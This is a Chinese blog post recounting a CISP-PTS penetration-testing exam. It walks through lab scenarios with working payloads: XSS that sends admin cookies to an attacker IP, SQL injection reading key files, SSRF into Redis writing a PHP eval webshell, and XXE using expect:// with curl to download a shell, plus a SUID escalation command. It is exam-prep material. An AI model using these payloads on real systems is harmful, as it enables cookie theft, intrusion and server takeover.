banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

cisp-pts考试记录

pts 的考试从报名到考试不到半个月,刷题有基础的很好过,因为很多题如果培训了的话基本上都是原题,但是有些题培训机构也不知道,就比如这次考试,最后一道大题,最里面的服务是 nacos,而 nacos 没 exp,尝试了常用的弱口令,没进去就没做了,最有的题只有 2 个 key(20 分),如果保证前面的 key 都获取到了没问题就已经有 80 分了,只有有 70 分以上就及格。

讲一下我考试遇到的题

场景 1#

xss+sqli + 文件读取,比较简单

xss 需要攻击机器用 python 起 web 服务,然后插入 payload,这里也就是利用存储型 xss 漏洞写入 payload,获取管理员的 cookie。

<script>document.write('<img src="http://ip:1234/?cookie='+document.cookie+'" />')</script>

获取到管理员 cookie

通过浏览器右键页面-检查,选择应用,找到存储-cookie,替换成管理员的 cookie

Pasted image 20241028150907

sqli payload

http://ip:3603/admin/edit.php?id=12312/**/UniOn/**/SeLEct/**/1,2,load_file("/var/key2"),4#

或者 sqlmap 跑

http://IP:3603/admin/edit.php?id=11 (GET)  
# sqlmap.py -u http://10.52.0.29:3603/admin/edit.php?id=11 --cookie=PHPSESSID=732ece3c4dcdba588d48593d689bf927 --dbms mysql --file-read /var/key2

任意文件读取

http://IP:3603/admin/setting.php?page=/tmp/key3

场景 2#

ssrf+redis getshell

ssrf:目录扫描 robots.txt,下载 backup.zip 压缩包,解压得到一个 txt 文件,会给一个 web 端口,题目给的搜索框输入http://localhost:1234,获取第一个 key

redis getshell:

写 webshell

dict://localhost:6379/flushall
dict://localhost:6379/set:1:'<?php eval($_POST[1]);?>'
dict://localhost:6379/config:set:dir:/var/www/html/app1
dict://localhost:6379/config:set:dbfilename:a.php
dict://localhost:6379/save

写私钥

Pasted image 20241028151536

获取第二个 key,第三个 key 在任务计划中

场景 3#

一个 xxe 漏洞

通过 expect 写入 webshell,expect 可执行命令,通过在攻击机起 web 服务,curl 去请求

执行命令

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://id">]><p>&b;</p>

写入 shell

<?xml version="1.0"?><!DOCTYPE a[<!ENTITY b SYSTEM "expect://curl$IFS$9-O$IFS$9'192.168.80.48:8088/shell.php'">]><p>&b;</p>

提权

find / -perm -u=s -type f 2>/dev/null
find 1 -exec 1s /root \;
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。